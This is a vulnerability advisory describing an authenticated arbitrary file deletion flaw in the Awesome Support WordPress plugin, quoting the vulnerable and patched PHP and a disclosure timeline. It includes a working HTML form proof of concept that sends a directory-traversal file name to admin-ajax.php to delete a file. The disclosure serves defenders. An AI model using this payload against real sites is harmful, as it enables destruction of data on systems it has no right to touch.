Authenticated Arbitrary File Deletion Vulnerability in Awesome Support
As we mentioned in more detail the previous post discussing the other vulnerability we found in the plugin Awesome Support, after seeing them make some bad advice on making decisions on what plugin to use from a security perspective, we took at look at their plugin and in seconds found that it wasn’t secure.
The plugin allows anyone to create a WordPress account, which increases security risk due to the fact that many plugins do not properly restrict access to functionality in them to only certain logged in users, this plugin being one of them.
This plugin makes the function wpas_tools_log_viewer_delete() accessible to anyone logged in, by allowing access through WordPress’ AJAX functionality (in the file /includes/admin/functions-log-viewer.php):
99 | add_action( 'wp_ajax_wpas_tools_log_viewer_delete', 'wpas_tools_log_viewer_delete', 10, 0 ); |
That function didn’t check to see a user has a particular capability, which would limit who can access it, or check for a valid nonce to prevent cross-site request forgery (CSRF) before running the function wpas_log_viewer_delete_file():
86 87 88 89 90 91 92 93 94 95 96 97 | function wpas_tools_log_viewer_delete() { if( ! isset( $_POST[ 'file' ] ) ) { echo json_encode( array( 'error' => esc_html__( 'No file given', 'awesome-support' ) ) ); wp_die(); } $file = $_POST[ 'file' ]; wp_send_json_success( wpas_log_viewer_delete_file( $file ) ); } |
When that function determines the file to unlink (delete) there was no restriction on directory traversal:
105 106 107 | function wpas_log_viewer_delete_file( $file ) { if( unlink( get_logs_path() . $file ) ) { |
So any file can be deleted.
After we notified the company behind this of the issue, version 4.3.2 was released, which fixes the issue by checking if the request to access the function is coming from an Administrator and that a valid nonce is provided (to prevent CSRF):
98 99 100 101 102 103 104 | function wpas_tools_log_viewer_delete() { if ( ! current_user_can( 'administrator' ) ) { wp_send_json_error( array( 'error' => esc_html__( 'Not found', 'awesome-support' ) ) ); } check_ajax_referer( 'wpas_tools_log_viewer_delete', 'nonce' ); |
And using the basename() function to remove directory traversal from the filename of the file to be deleted:
111 | $file = basename( $_POST[ 'file' ] ) |
Proof of Concept
The following proof of concept will cause a file named test.txt in the root directory of the WordPress installation to be deleted, when logged in to WordPress.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="wpas_tools_log_viewer_delete" /> <input type="hidden" name="file" value="../../../../test.txt" /> <input type="submit" value="Submit" /> </form> </body>
Timeline
- October 17, 2017 – Developer notified.
- October 17, 2017 – Developer responds.
- October 22, 2017 – Version 4.3.2 released, which fixes vulnerability.